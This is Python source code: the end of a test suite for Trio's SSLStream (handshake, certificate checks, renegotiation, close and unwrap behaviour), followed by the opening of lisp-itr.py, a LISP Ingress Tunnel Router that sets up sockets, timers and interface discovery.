return ssl_wrap_pair(client_ctx, client_transport, server_transport, **kwargs)
# Simple smoke test for handshake/send/receive/shutdown talking to a
# synchronous server, plus make sure that we do the bare minimum of
# certificate checking (even though this is really Python's responsibility)
async def test_ssl_client_basics(client_ctx):
# Everything OK
async with ssl_echo_server(client_ctx) as s:
assert not s.server_side
await s.send_all(b"x")
assert await s.receive_some(1) == b"x"
await s.aclose()
# Didn't configure the CA file, should fail
async with ssl_echo_server_raw(expect_fail=True) as sock:
bad_client_ctx = ssl.create_default_context()
s = SSLStream(sock, bad_client_ctx, server_hostname="trio-test-1.example.org")
assert not s.server_side
with pytest.raises(BrokenResourceError) as excinfo:
await s.send_all(b"x")
assert isinstance(excinfo.value.__cause__, ssl.SSLError)
# Trusted CA, but wrong host name
async with ssl_echo_server_raw(expect_fail=True) as sock:
s = SSLStream(sock, client_ctx, server_hostname="trio-test-2.example.org")
assert not s.server_side
with pytest.raises(BrokenResourceError) as excinfo:
await s.send_all(b"x")
assert isinstance(excinfo.value.__cause__, ssl.CertificateError)
async def test_ssl_server_basics(client_ctx):
a, b = stdlib_socket.socketpair()
with a, b:
server_sock = tsocket.from_stdlib_socket(b)
server_transport = SSLStream(
SocketStream(server_sock), SERVER_CTX, server_side=True
)
assert server_transport.server_side
def client():
with client_ctx.wrap_socket(
a, server_hostname="trio-test-1.example.org"
) as client_sock:
client_sock.sendall(b"x")
assert client_sock.recv(1) == b"y"
client_sock.sendall(b"z")
client_sock.unwrap()
t = threading.Thread(target=client)
t.start()
assert await server_transport.receive_some(1) == b"x"
await server_transport.send_all(b"y")
assert await server_transport.receive_some(1) == b"z"
assert await server_transport.receive_some(1) == b""
await server_transport.aclose()
t.join()
async def test_attributes(client_ctx):
async with ssl_echo_server_raw(expect_fail=True) as sock:
good_ctx = client_ctx
bad_ctx = ssl.create_default_context()
s = SSLStream(sock, good_ctx, server_hostname="trio-test-1.example.org")
assert s.transport_stream is sock
# Forwarded attribute getting
assert s.context is good_ctx
assert s.server_side == False # noqa
assert s.server_hostname == "trio-test-1.example.org"
with pytest.raises(AttributeError):
s.asfdasdfsa
# __dir__
assert "transport_stream" in dir(s)
assert "context" in dir(s)
# Setting the attribute goes through to the underlying object
# most attributes on SSLObject are read-only
with pytest.raises(AttributeError):
s.server_side = True
with pytest.raises(AttributeError):
s.server_hostname = "asdf"
# but .context is *not*. Check that we forward attribute setting by
# making sure that after we set the bad context our handshake indeed
# fails:
s.context = bad_ctx
assert s.context is bad_ctx
with pytest.raises(BrokenResourceError) as excinfo:
await s.do_handshake()
assert isinstance(excinfo.value.__cause__, ssl.SSLError)
# Note: this test fails horribly if we force TLS 1.2 and trigger a
# renegotiation at the beginning (e.g. by switching to the pyopenssl
# server). Usually the client crashes in SSLObject.write with "UNEXPECTED
# RECORD"; sometimes we get something more exotic like a SyscallError. This is
# odd because openssl isn't doing any syscalls, but so it goes. After lots of
# websearching I'm pretty sure this is due to a bug in OpenSSL, where it just
# can't reliably handle full-duplex communication combined with
# renegotiation. Nice, eh?
#
# https://rt.openssl.org/Ticket/Display.html?id=3712
# https://rt.openssl.org/Ticket/Display.html?id=2481
# http://openssl.6102.n7.nabble.com/TLS-renegotiation-failure-on-receiving-application-data-during-handshake-td48127.html
# https://stackoverflow.com/questions/18728355/ssl-renegotiation-with-full-duplex-socket-communication
#
# In some variants of this test (maybe only against the java server?) I've
# also seen cases where our send_all blocks waiting to write, and then our receive_some
# also blocks waiting to write, and they never wake up again. It looks like
# some kind of deadlock. I suspect there may be an issue where we've filled up
# the send buffers, and the remote side is trying to handle the renegotiation
# from inside a write() call, so it has a problem: there's all this application
# data clogging up the pipe, but it can't process and return it to the
# application because it's in write(), and it doesn't want to buffer infinite
# amounts of data, and... actually I guess those are the only two choices.
#
# NSS even documents that you shouldn't try to do a renegotiation except when
# the connection is idle:
#
# https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/SSL_functions/sslfnc.html#1061582
#
# I begin to see why HTTP/2 forbids renegotiation and TLS 1.3 removes it...
async def test_full_duplex_basics(client_ctx):
CHUNKS = 30
CHUNK_SIZE = 32768
EXPECTED = CHUNKS * CHUNK_SIZE
sent = bytearray()
received = bytearray()
async def sender(s):
nonlocal sent
for i in range(CHUNKS):
print(i)
chunk = bytes([i] * CHUNK_SIZE)
sent += chunk
await s.send_all(chunk)
async def receiver(s):
nonlocal received
while len(received) < EXPECTED:
chunk = await s.receive_some(CHUNK_SIZE // 2)
received += chunk
async with ssl_echo_server(client_ctx) as s:
async with _core.open_nursery() as nursery:
nursery.start_soon(sender, s)
nursery.start_soon(receiver, s)
# And let's have some doing handshakes too, everyone
# simultaneously
nursery.start_soon(s.do_handshake)
nursery.start_soon(s.do_handshake)
await s.aclose()
assert len(sent) == len(received) == EXPECTED
assert sent == received
async def test_renegotiation_simple(client_ctx):
with virtual_ssl_echo_server(client_ctx) as s:
await s.do_handshake()
s.transport_stream.renegotiate()
await s.send_all(b"a")
assert await s.receive_some(1) == b"a"
# Have to send some more data back and forth to make sure the
# renegotiation is finished before shutting down the
# connection... otherwise openssl raises an error. I think this is a
# bug in openssl but what can ya do.
await s.send_all(b"b")
assert await s.receive_some(1) == b"b"
await s.aclose()
@slow
async def test_renegotiation_randomized(mock_clock, client_ctx):
# The only blocking things in this function are our random sleeps, so 0 is
# a good threshold.
mock_clock.autojump_threshold = 0
import random
r = random.Random(0)
async def sleeper(_):
await trio.sleep(r.uniform(0, 10))
async def clear():
while s.transport_stream.renegotiate_pending():
with assert_checkpoints():
await send(b"-")
with assert_checkpoints():
await expect(b"-")
print("-- clear --")
async def send(byte):
await s.transport_stream.sleeper("outer send")
print("calling SSLStream.send_all", byte)
with assert_checkpoints():
await s.send_all(byte)
async def expect(expected):
await s.transport_stream.sleeper("expect")
print("calling SSLStream.receive_some, expecting", expected)
assert len(expected) == 1
with assert_checkpoints():
assert await s.receive_some(1) == expected
with virtual_ssl_echo_server(client_ctx, sleeper=sleeper) as s:
await s.do_handshake()
await send(b"a")
s.transport_stream.renegotiate()
await expect(b"a")
await clear()
for i in range(100):
b1 = bytes([i % 0xFF])
b2 = bytes([(2 * i) % 0xFF])
s.transport_stream.renegotiate()
async with _core.open_nursery() as nursery:
nursery.start_soon(send, b1)
nursery.start_soon(expect, b1)
async with _core.open_nursery() as nursery:
nursery.start_soon(expect, b2)
nursery.start_soon(send, b2)
await clear()
for i in range(100):
b1 = bytes([i % 0xFF])
b2 = bytes([(2 * i) % 0xFF])
await send(b1)
s.transport_stream.renegotiate()
await expect(b1)
async with _core.open_nursery() as nursery:
nursery.start_soon(expect, b2)
nursery.start_soon(send, b2)
await clear()
# Checking that wait_send_all_might_not_block and receive_some don't
# conflict:
# 1) Set up a situation where expect (receive_some) is blocked sending,
# and wait_send_all_might_not_block comes in.
# Our receive_some() call will get stuck when it hits send_all
async def sleeper_with_slow_send_all(method):
if method == "send_all":
await trio.sleep(100000)
# And our wait_send_all_might_not_block call will give it time to get
# stuck, and then start
async def sleep_then_wait_writable():
await trio.sleep(1000)
await s.wait_send_all_might_not_block()
with virtual_ssl_echo_server(client_ctx, sleeper=sleeper_with_slow_send_all) as s:
await send(b"x")
s.transport_stream.renegotiate()
async with _core.open_nursery() as nursery:
nursery.start_soon(expect, b"x")
nursery.start_soon(sleep_then_wait_writable)
await clear()
await s.aclose()
# 2) Same, but now wait_send_all_might_not_block is stuck when
# receive_some tries to send.
async def sleeper_with_slow_wait_writable_and_expect(method):
if method == "wait_send_all_might_not_block":
await trio.sleep(100000)
elif method == "expect":
await trio.sleep(1000)
with virtual_ssl_echo_server(
client_ctx, sleeper=sleeper_with_slow_wait_writable_and_expect
) as s:
await send(b"x")
s.transport_stream.renegotiate()
async with _core.open_nursery() as nursery:
nursery.start_soon(expect, b"x")
nursery.start_soon(s.wait_send_all_might_not_block)
await clear()
await s.aclose()
async def test_resource_busy_errors(client_ctx):
async def do_send_all():
with assert_checkpoints():
await s.send_all(b"x")
async def do_receive_some():
with assert_checkpoints():
await s.receive_some(1)
async def do_wait_send_all_might_not_block():
with assert_checkpoints():
await s.wait_send_all_might_not_block()
s, _ = ssl_lockstep_stream_pair(client_ctx)
with pytest.raises(_core.BusyResourceError) as excinfo:
async with _core.open_nursery() as nursery:
nursery.start_soon(do_send_all)
nursery.start_soon(do_send_all)
assert "another task" in str(excinfo.value)
s, _ = ssl_lockstep_stream_pair(client_ctx)
with pytest.raises(_core.BusyResourceError) as excinfo:
async with _core.open_nursery() as nursery:
nursery.start_soon(do_receive_some)
nursery.start_soon(do_receive_some)
assert "another task" in str(excinfo.value)
s, _ = ssl_lockstep_stream_pair(client_ctx)
with pytest.raises(_core.BusyResourceError) as excinfo:
async with _core.open_nursery() as nursery:
nursery.start_soon(do_send_all)
nursery.start_soon(do_wait_send_all_might_not_block)
assert "another task" in str(excinfo.value)
s, _ = ssl_lockstep_stream_pair(client_ctx)
with pytest.raises(_core.BusyResourceError) as excinfo:
async with _core.open_nursery() as nursery:
nursery.start_soon(do_wait_send_all_might_not_block)
nursery.start_soon(do_wait_send_all_might_not_block)
assert "another task" in str(excinfo.value)
async def test_wait_writable_calls_underlying_wait_writable():
record = []
class NotAStream:
async def wait_send_all_might_not_block(self):
record.append("ok")
ctx = ssl.create_default_context()
s = SSLStream(NotAStream(), ctx, server_hostname="x")
await s.wait_send_all_might_not_block()
assert record == ["ok"]
async def test_checkpoints(client_ctx):
async with ssl_echo_server(client_ctx) as s:
with assert_checkpoints():
await s.do_handshake()
with assert_checkpoints():
await s.do_handshake()
with assert_checkpoints():
await s.wait_send_all_might_not_block()
with assert_checkpoints():
await s.send_all(b"xxx")
with assert_checkpoints():
await s.receive_some(1)
# These receive_some's in theory could return immediately, because the
# "xxx" was sent in a single record and after the first
# receive_some(1) the rest are sitting inside the SSLObject's internal
# buffers.
with assert_checkpoints():
await s.receive_some(1)
with assert_checkpoints():
await s.receive_some(1)
with assert_checkpoints():
await s.unwrap()
async with ssl_echo_server(client_ctx) as s:
await s.do_handshake()
with assert_checkpoints():
await s.aclose()
async def test_send_all_empty_string(client_ctx):
async with ssl_echo_server(client_ctx) as s:
await s.do_handshake()
# underlying SSLObject interprets writing b"" as indicating an EOF,
# for some reason. Make sure we don't inherit this.
with assert_checkpoints():
await s.send_all(b"")
with assert_checkpoints():
await s.send_all(b"")
await s.send_all(b"x")
assert await s.receive_some(1) == b"x"
await s.aclose()
@pytest.mark.parametrize("https_compatible", [False, True])
async def test_SSLStream_generic(client_ctx, https_compatible):
async def stream_maker():
return ssl_memory_stream_pair(
client_ctx,
client_kwargs={"https_compatible": https_compatible},
server_kwargs={"https_compatible": https_compatible},
)
async def clogged_stream_maker():
client, server = ssl_lockstep_stream_pair(client_ctx)
# If we don't do handshakes up front, then we run into a problem in
# the following situation:
# - server does wait_send_all_might_not_block
# - client does receive_some to unclog it
# Then the client's receive_some will actually send some data to start
# the handshake, and itself get stuck.
async with _core.open_nursery() as nursery:
nursery.start_soon(client.do_handshake)
nursery.start_soon(server.do_handshake)
return client, server
await check_two_way_stream(stream_maker, clogged_stream_maker)
async def test_unwrap(client_ctx):
client_ssl, server_ssl = ssl_memory_stream_pair(client_ctx)
client_transport = client_ssl.transport_stream
server_transport = server_ssl.transport_stream
seq = Sequencer()
async def client():
await client_ssl.do_handshake()
await client_ssl.send_all(b"x")
assert await client_ssl.receive_some(1) == b"y"
await client_ssl.send_all(b"z")
# After sending that, disable outgoing data from our end, to make
# sure the server doesn't see our EOF until after we've sent some
# trailing data
async with seq(0):
send_all_hook = client_transport.send_stream.send_all_hook
client_transport.send_stream.send_all_hook = None
assert await client_ssl.receive_some(1) == b""
assert client_ssl.transport_stream is client_transport
# We just received EOF. Unwrap the connection and send some more.
raw, trailing = await client_ssl.unwrap()
assert raw is client_transport
assert trailing == b""
assert client_ssl.transport_stream is None
await raw.send_all(b"trailing")
# Reconnect the streams. Now the server will receive both our shutdown
# acknowledgement + the trailing data in a single lump.
client_transport.send_stream.send_all_hook = send_all_hook
await client_transport.send_stream.send_all_hook()
async def server():
await server_ssl.do_handshake()
assert await server_ssl.receive_some(1) == b"x"
await server_ssl.send_all(b"y")
assert await server_ssl.receive_some(1) == b"z"
# Now client is blocked waiting for us to send something, but
# instead we close the TLS connection (with sequencer to make sure
# that the client won't see and automatically respond before we've had
# a chance to disable the client->server transport)
async with seq(1):
raw, trailing = await server_ssl.unwrap()
assert raw is server_transport
assert trailing == b"trailing"
assert server_ssl.transport_stream is None
async with _core.open_nursery() as nursery:
nursery.start_soon(client)
nursery.start_soon(server)
async def test_closing_nice_case(client_ctx):
# the nice case: graceful closes all around
client_ssl, server_ssl = ssl_memory_stream_pair(client_ctx)
client_transport = client_ssl.transport_stream
# Both the handshake and the close require back-and-forth discussion, so
# we need to run them concurrently
async def client_closer():
with assert_checkpoints():
await client_ssl.aclose()
async def server_closer():
assert await server_ssl.receive_some(10) == b""
assert await server_ssl.receive_some(10) == b""
with assert_checkpoints():
await server_ssl.aclose()
async with _core.open_nursery() as nursery:
nursery.start_soon(client_closer)
nursery.start_soon(server_closer)
# closing the SSLStream also closes its transport
with pytest.raises(ClosedResourceError):
await client_transport.send_all(b"123")
# once closed, it's OK to close again
with assert_checkpoints():
await client_ssl.aclose()
with assert_checkpoints():
await client_ssl.aclose()
# Trying to send more data does not work
with pytest.raises(ClosedResourceError):
await server_ssl.send_all(b"123")
# And once the connection is has been closed *locally*, then instead of
# getting empty bytestrings we get a proper error
with pytest.raises(ClosedResourceError):
await client_ssl.receive_some(10) == b""
with pytest.raises(ClosedResourceError):
await client_ssl.unwrap()
with pytest.raises(ClosedResourceError):
await client_ssl.do_handshake()
# Check that a graceful close *before* handshaking gives a clean EOF on
# the other side
client_ssl, server_ssl = ssl_memory_stream_pair(client_ctx)
async def expect_eof_server():
with assert_checkpoints():
assert await server_ssl.receive_some(10) == b""
with assert_checkpoints():
await server_ssl.aclose()
async with _core.open_nursery() as nursery:
nursery.start_soon(client_ssl.aclose)
nursery.start_soon(expect_eof_server)
async def test_send_all_fails_in_the_middle(client_ctx):
client, server = ssl_memory_stream_pair(client_ctx)
async with _core.open_nursery() as nursery:
nursery.start_soon(client.do_handshake)
nursery.start_soon(server.do_handshake)
async def bad_hook():
raise KeyError
client.transport_stream.send_stream.send_all_hook = bad_hook
with pytest.raises(KeyError):
await client.send_all(b"x")
with pytest.raises(BrokenResourceError):
await client.wait_send_all_might_not_block()
closed = 0
def close_hook():
nonlocal closed
closed += 1
client.transport_stream.send_stream.close_hook = close_hook
client.transport_stream.receive_stream.close_hook = close_hook
await client.aclose()
assert closed == 2
async def test_ssl_over_ssl(client_ctx):
client_0, server_0 = memory_stream_pair()
client_1 = SSLStream(
client_0, client_ctx, server_hostname="trio-test-1.example.org"
)
server_1 = SSLStream(server_0, SERVER_CTX, server_side=True)
client_2 = SSLStream(
client_1, client_ctx, server_hostname="trio-test-1.example.org"
)
server_2 = SSLStream(server_1, SERVER_CTX, server_side=True)
async def client():
await client_2.send_all(b"hi")
assert await client_2.receive_some(10) == b"bye"
async def server():
assert await server_2.receive_some(10) == b"hi"
await server_2.send_all(b"bye")
async with _core.open_nursery() as nursery:
nursery.start_soon(client)
nursery.start_soon(server)
async def test_ssl_bad_shutdown(client_ctx):
client, server = ssl_memory_stream_pair(client_ctx)
async with _core.open_nursery() as nursery:
nursery.start_soon(client.do_handshake)
nursery.start_soon(server.do_handshake)
await trio.aclose_forcefully(client)
# now the server sees a broken stream
with pytest.raises(BrokenResourceError):
await server.receive_some(10)
with pytest.raises(BrokenResourceError):
await server.send_all(b"x" * 10)
await server.aclose()
async def test_ssl_bad_shutdown_but_its_ok(client_ctx):
client, server = ssl_memory_stream_pair(
client_ctx,
server_kwargs={"https_compatible": True},
client_kwargs={"https_compatible": True},
)
async with _core.open_nursery() as nursery:
nursery.start_soon(client.do_handshake)
nursery.start_soon(server.do_handshake)
await trio.aclose_forcefully(client)
# the server sees that as a clean shutdown
assert await server.receive_some(10) == b""
with pytest.raises(BrokenResourceError):
await server.send_all(b"x" * 10)
await server.aclose()
async def test_ssl_handshake_failure_during_aclose():
# Weird scenario: aclose() triggers an automatic handshake, and this
# fails. This also exercises a bit of code in aclose() that was otherwise
# uncovered, for re-raising exceptions after calling aclose_forcefully on
# the underlying transport.
async with ssl_echo_server_raw(expect_fail=True) as sock:
# Don't configure trust correctly
client_ctx = ssl.create_default_context()
s = SSLStream(sock, client_ctx, server_hostname="trio-test-1.example.org")
# It's a little unclear here whether aclose should swallow the error
# or let it escape. We *do* swallow the error if it arrives when we're
# sending close_notify, because both sides closing the connection
# simultaneously is allowed. But I guess when https_compatible=False
# then it's bad if we can get through a whole connection with a peer
# that has no valid certificate, and never raise an error.
with pytest.raises(BrokenResourceError):
await s.aclose()
async def test_ssl_only_closes_stream_once(client_ctx):
# We used to have a bug where if transport_stream.aclose() raised an
# error, we would call it again. This checks that that's fixed.
client, server = ssl_memory_stream_pair(client_ctx)
async with _core.open_nursery() as nursery:
nursery.start_soon(client.do_handshake)
nursery.start_soon(server.do_handshake)
client_orig_close_hook = client.transport_stream.send_stream.close_hook
transport_close_count = 0
def close_hook():
nonlocal transport_close_count
client_orig_close_hook()
transport_close_count += 1
raise KeyError
client.transport_stream.send_stream.close_hook = close_hook
with pytest.raises(KeyError):
await client.aclose()
assert transport_close_count == 1
async def test_ssl_https_compatibility_disagreement(client_ctx):
client, server = ssl_memory_stream_pair(
client_ctx,
server_kwargs={"https_compatible": False},
client_kwargs={"https_compatible": True},
)
async with _core.open_nursery() as nursery:
nursery.start_soon(client.do_handshake)
nursery.start_soon(server.do_handshake)
# client is in HTTPS-mode, server is not
# so client doing graceful_shutdown causes an error on server
async def receive_and_expect_error():
with pytest.raises(BrokenResourceError) as excinfo:
await server.receive_some(10)
assert _is_eof(excinfo.value.__cause__)
async with _core.open_nursery() as nursery:
nursery.start_soon(client.aclose)
nursery.start_soon(receive_and_expect_error)
async def test_https_mode_eof_before_handshake(client_ctx):
client, server = ssl_memory_stream_pair(
client_ctx,
server_kwargs={"https_compatible": True},
client_kwargs={"https_compatible": True},
)
async def server_expect_clean_eof():
assert await server.receive_some(10) == b""
async with _core.open_nursery() as nursery:
nursery.start_soon(client.aclose)
nursery.start_soon(server_expect_clean_eof)
async def test_send_error_during_handshake(client_ctx):
client, server = ssl_memory_stream_pair(client_ctx)
async def bad_hook():
raise KeyError
client.transport_stream.send_stream.send_all_hook = bad_hook
with pytest.raises(KeyError):
with assert_checkpoints():
await client.do_handshake()
with pytest.raises(BrokenResourceError):
with assert_checkpoints():
await client.do_handshake()
async def test_receive_error_during_handshake(client_ctx):
client, server = ssl_memory_stream_pair(client_ctx)
async def bad_hook():
raise KeyError
client.transport_stream.receive_stream.receive_some_hook = bad_hook
async def client_side(cancel_scope):
with pytest.raises(KeyError):
with assert_checkpoints():
await client.do_handshake()
cancel_scope.cancel()
async with _core.open_nursery() as nursery:
nursery.start_soon(client_side, nursery.cancel_scope)
nursery.start_soon(server.do_handshake)
with pytest.raises(BrokenResourceError):
with assert_checkpoints():
await client.do_handshake()
async def test_selected_alpn_protocol_before_handshake(client_ctx):
client, server = ssl_memory_stream_pair(client_ctx)
with pytest.raises(NeedHandshakeError):
client.selected_alpn_protocol()
with pytest.raises(NeedHandshakeError):
server.selected_alpn_protocol()
async def test_selected_alpn_protocol_when_not_set(client_ctx):
# ALPN protocol still returns None when it's not set,
# instead of raising an exception
client, server = ssl_memory_stream_pair(client_ctx)
async with _core.open_nursery() as nursery:
nursery.start_soon(client.do_handshake)
nursery.start_soon(server.do_handshake)
assert client.selected_alpn_protocol() is None
assert server.selected_alpn_protocol() is None
assert client.selected_alpn_protocol() == server.selected_alpn_protocol()
async def test_selected_npn_protocol_before_handshake(client_ctx):
client, server = ssl_memory_stream_pair(client_ctx)
with pytest.raises(NeedHandshakeError):
client.selected_npn_protocol()
with pytest.raises(NeedHandshakeError):
server.selected_npn_protocol()
@pytest.mark.filterwarnings(
r"ignore: ssl module. NPN is deprecated, use ALPN instead:UserWarning",
r"ignore:ssl NPN is deprecated, use ALPN instead:DeprecationWarning",
)
async def test_selected_npn_protocol_when_not_set(client_ctx):
# NPN protocol still returns None when it's not set,
# instead of raising an exception
client, server = ssl_memory_stream_pair(client_ctx)
async with _core.open_nursery() as nursery:
nursery.start_soon(client.do_handshake)
nursery.start_soon(server.do_handshake)
assert client.selected_npn_protocol() is None
assert server.selected_npn_protocol() is None
assert client.selected_npn_protocol() == server.selected_npn_protocol()
async def test_get_channel_binding_before_handshake(client_ctx):
client, server = ssl_memory_stream_pair(client_ctx)
with pytest.raises(NeedHandshakeError):
client.get_channel_binding()
with pytest.raises(NeedHandshakeError):
server.get_channel_binding()
async def test_get_channel_binding_after_handshake(client_ctx):
client, server = ssl_memory_stream_pair(client_ctx)
async with _core.open_nursery() as nursery:
nursery.start_soon(client.do_handshake)
nursery.start_soon(server.do_handshake)
assert client.get_channel_binding() is not None
assert server.get_channel_binding() is not None
assert client.get_channel_binding() == server.get_channel_binding()
async def test_getpeercert(client_ctx):
# Make sure we're not affected by https://bugs.python.org/issue29334
client, server = ssl_memory_stream_pair(client_ctx)
async with _core.open_nursery() as nursery:
nursery.start_soon(client.do_handshake)
nursery.start_soon(server.do_handshake)
assert server.getpeercert() is None
print(client.getpeercert())
assert ("DNS", "trio-test-1.example.org") in client.getpeercert()["subjectAltName"]
async def test_SSLListener(client_ctx):
async def setup(**kwargs):
listen_sock = tsocket.socket()
await listen_sock.bind(("127.0.0.1", 0))
listen_sock.listen(1)
socket_listener = SocketListener(listen_sock)
ssl_listener = SSLListener(socket_listener, SERVER_CTX, **kwargs)
transport_client = await open_tcp_stream(*listen_sock.getsockname())
ssl_client = SSLStream(
transport_client, client_ctx, server_hostname="trio-test-1.example.org"
)
return listen_sock, ssl_listener, ssl_client
listen_sock, ssl_listener, ssl_client = await setup()
async with ssl_client:
ssl_server = await ssl_listener.accept()
async with ssl_server:
assert not ssl_server._https_compatible
# Make sure the connection works
async with _core.open_nursery() as nursery:
nursery.start_soon(ssl_client.do_handshake)
nursery.start_soon(ssl_server.do_handshake)
# Test SSLListener.aclose
await ssl_listener.aclose()
assert listen_sock.fileno() == -1
################
# Test https_compatible
_, ssl_listener, ssl_client = await setup(https_compatible=True)
ssl_server = await ssl_listener.accept()
assert ssl_server._https_compatible
await aclose_forcefully(ssl_listener)
await aclose_forcefully(ssl_client)
await aclose_forcefully(ssl_server)
|
lisp-itr.py | # -----------------------------------------------------------------------------
#
# Copyright 2013-2019 lispers.net - Dino Farinacci <farinacci@gmail.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# -----------------------------------------------------------------------------
#
# lisp-itr.py
#
# This file performs LISP Ingress Tunnel Router (ITR) functionality.
#
# -----------------------------------------------------------------------------
import lisp
import lispconfig
import socket
import select
import threading
import pcappy
import time
import os
import commands
import struct
#------------------------------------------------------------------------------
#
# Global data structures relative to the lisp-itr process.
#
lisp_send_sockets = [None, None, None]
lisp_ipc_listen_socket = None
lisp_ipc_punt_socket = None
lisp_ephem_listen_socket = None
lisp_ephem_nat_socket = None
lisp_ephem_port = lisp.lisp_get_ephemeral_port()
lisp_ephem_nat_port = lisp.lisp_get_ephemeral_port()
lisp_raw_socket = None
lisp_raw_v6_socket = None
lisp_periodic_timer = None
lisp_itr_info_timer = None
#
# This is for testing sending from one local EID-prefix to another EID-prefix
# on the same system. Rather than natively forwarding a packet, the mapping
# system is used.
#
lisp_xtr_loopback = False
#
# Used to start pcap threads concurrently.
#
lisp_pcap_lock = threading.Lock()
#------------------------------------------------------------------------------
#
# lisp_itr_show_command
#
# Display state in an ITR.
#
def lisp_itr_show_command(parameter):
return(lispconfig.lisp_itr_rtr_show_command(parameter, "ITR", []))
#enddef
#
# lisp_itr_show_keys_command
#
# Call lispconfig.lisp_show_crypto_list().
#
def lisp_itr_show_keys_command(parameter):
return(lispconfig.lisp_show_crypto_list("ITR"))
#enddef
#
# lisp_itr_show_rloc_probe_command
#
# Display RLOC-probe list state in an ITR.
#
def lisp_itr_show_rloc_probe_command(parameter):
return(lispconfig.lisp_itr_rtr_show_rloc_probe_command("ITR"))
#enddef
#
# lisp_itr_process_timer
#
# This is the ITR's 60-second periodic timer routine. We typically use it
# to time-out map-cache entries. But the one case where we are acting as
# a L2-overlay ITR, we will send Map-Requests to retrieve the broadcast
# entry so we have the latest replication-list before we need it.
#
def lisp_itr_process_timer(lisp_sockets, lisp_ephem_port):
lisp.lisp_set_exception()
#
# Remove nonce entries from crypto-list.
#
for keys in lisp.lisp_crypto_keys_by_nonce.values():
for key in keys: del(key)
#endfor
lisp.lisp_crypto_keys_by_nonce = {}
#
# If doing L2-overlays, get map-cache entry from (0000-0000-0000/0,
# ffff-ffff-ffff/48).
#
if (lisp.lisp_l2_overlay):
afi = lisp.LISP_AFI_MAC
iid = lisp.lisp_default_iid
s = lisp.lisp_address(afi, "0000-0000-0000", 0, iid)
s.mask_len = 0
d = lisp.lisp_address(afi, "ffff-ffff-ffff", 48, iid)
lisp.lisp_send_map_request(lisp_sockets, lisp_ephem_port, s, d, None)
#endif
#
# Timeout Map-Cache entries.
#
lisp.lisp_timeout_map_cache(lisp.lisp_map_cache)
#
# Restart periodic timer.
#
lisp_periodic_timer = threading.Timer(60, lisp_itr_process_timer,
[lisp_sockets, lisp_ephem_port])
lisp_periodic_timer.start()
return
#enddef
#
# lisp_itr_timeout_dynamic_eids
#
# Check to see if dyanmic-EIDs have stop sending data. If so, remove the
# state and stop registering them.
#
def lisp_itr_timeout_dynamic_eids(lisp_socket):
lisp.lisp_set_exception()
now = lisp.lisp_get_timestamp()
for db in lisp.lisp_db_list:
if (db.dynamic_eid_configured() == False): continue
delete_list = []
for dyn_eid in db.dynamic_eids.values():
ts = dyn_eid.last_packet
if (ts == None): continue
if (ts + dyn_eid.timeout > now): continue
#
# Check hardware if dyn-EID has had packets SENT to. We want the
# opposite but this is all we get from Arista.
#
if (lisp.lisp_program_hardware):
prefix = dyn_eid.dynamic_eid.print_prefix_no_iid()
if (lisp.lisp_arista_is_alive(prefix)):
lisp.lprint(("Hardware indicates dynamic-EID {} " + \
"still active").format(lisp.green(prefix, False)))
continue
#endif
#endif
#
# Tell ETR process so it can register dynamic-EID.
#
eid_str = dyn_eid.dynamic_eid.print_address()
ipc = "learn%{}%None".format(eid_str)
ipc = lisp.lisp_command_ipc(ipc, "lisp-itr")
lisp.lisp_ipc(ipc, lisp_socket, "lisp-etr")
lisp.lprint("Dynamic-EID {}".format( \
lisp.bold(lisp.green(eid_str, False) + " activity timeout",
False)))
delete_list.append(eid_str)
#endfor
#
# Remove the timed out entries from db.dynamic_eids{}.
#
for eid_str in delete_list: db.dynamic_eids.pop(eid_str)
#endfor
#
# Restart periodic timer.
#
threading.Timer(lisp.LISP_DEFAULT_DYN_EID_TIMEOUT,
lisp_itr_timeout_dynamic_eids, [lisp_socket]).start()
return
#enddef
#
# lisp_get_active_interfaces
#
# Get interfaces that are plugged in. Including loopback interfaces.
#
# We need to test these 3 types of lines from "ifconfig" output:
#
# aten2 Link encap:Ethernet HWaddr 00:1F:A0:07:0C:04
# eth7: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
# en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
#
def lisp_get_active_interfaces():
if (lisp.lisp_is_macos()): return(["en0", "en1", "lo0"])
#
# Linux distributions have different ifconfig output format.
#
gs = "Link encap"
interfaces = commands.getoutput("ifconfig | egrep '{}'".format(gs))
if (interfaces == ""):
gs = ": flags="
interfaces = commands.getoutput("ifconfig | egrep '{}'".format(gs))
#endif
interfaces = interfaces.split("\n")
return_interfaces = []
for interface in interfaces:
ifname = interface.split(gs)[0].replace(" ", "")
return_interfaces.append(ifname)
#endfor
return(return_interfaces)
#enddef
#
# lisp_itr_startup
#
# Intialize this LISP ITR process. This function returns no values.
#
def lisp_itr_startup():
global lisp_send_sockets
global lisp_ipc_listen_socket
global lisp_ipc_punt_socket
global lisp_ephem_listen_socket
global lisp_ephem_nat_socket
global lisp_raw_socket, lisp_raw_v6_socket
lisp.lisp_i_am("itr")
lisp.lisp_set_exception()
lisp.lisp_print_banner("ITR starting up")
#
# Get local address for source RLOC for encapsulation.
#
lisp.lisp_get_local_interfaces()
lisp.lisp_get_local_macs()
if (lisp.lisp_get_local_addresses() == False): return(False)
#
# Open send socket.
#
lisp_send_sockets[0] = lisp.lisp_open_send_socket("", lisp.LISP_AFI_IPV4)
lisp_send_sockets[1] = lisp.lisp_open_send_socket("", lisp.LISP_AFI_IPV6)
lisp_ipc_listen_socket = lisp.lisp_open_listen_socket("", "lisp-itr")
lisp_ipc_punt_socket = lisp.lisp_open_listen_socket("", "lispers.net-itr")
lisp_send_sockets[2] = lisp_ipc_listen_socket
address = "0.0.0.0" if lisp.lisp_is_raspbian() else "0::0"
lisp_ephem_listen_socket = lisp.lisp_open_listen_socket(address,
str(lisp_ephem_port))
#
# Used on for listening for Info-Replies for NAT-traversal support.
#
lisp_ephem_nat_socket = lisp.lisp_open_listen_socket("0.0.0.0",
str(lisp_ephem_nat_port))
#
# Open up raw socket so we can send with IP headers after decapsulation.
#
lisp_raw_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW,
socket.IPPROTO_RAW)
